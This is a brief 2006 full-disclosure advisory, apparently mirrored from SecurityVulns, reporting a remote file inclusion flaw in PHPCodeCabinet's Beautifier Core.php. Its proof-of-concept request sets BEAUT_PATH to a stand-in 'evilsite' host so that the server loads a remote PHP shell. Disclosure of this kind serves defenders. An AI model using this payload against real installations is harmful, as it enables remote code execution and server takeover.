[Full-disclosure] PHPCodeCabinet Vulnerability

2006-08-07T00:00:00
ID SECURITYVULNS:DOC:13766
Type securityvulns
Reporter Securityvulns
Modified 2006-08-07T00:00:00

Description

>From Minion:

PHPCodeCabinet (all versions) is vulnerable to a remote file include.

The vulnerable code is in /include/Beautifier/Core.php

an $BEAUT_PATH Was not properly scrubbed, so they got owned.

Proof of concept:

target phpcodecabinet directory/include/Beautifier/Core.php?BEAUT_PATH=evilsite/Beautifier/HFile.php

HFile.php would be your php shell.

Shouts to XoRcrew & Disruptiv.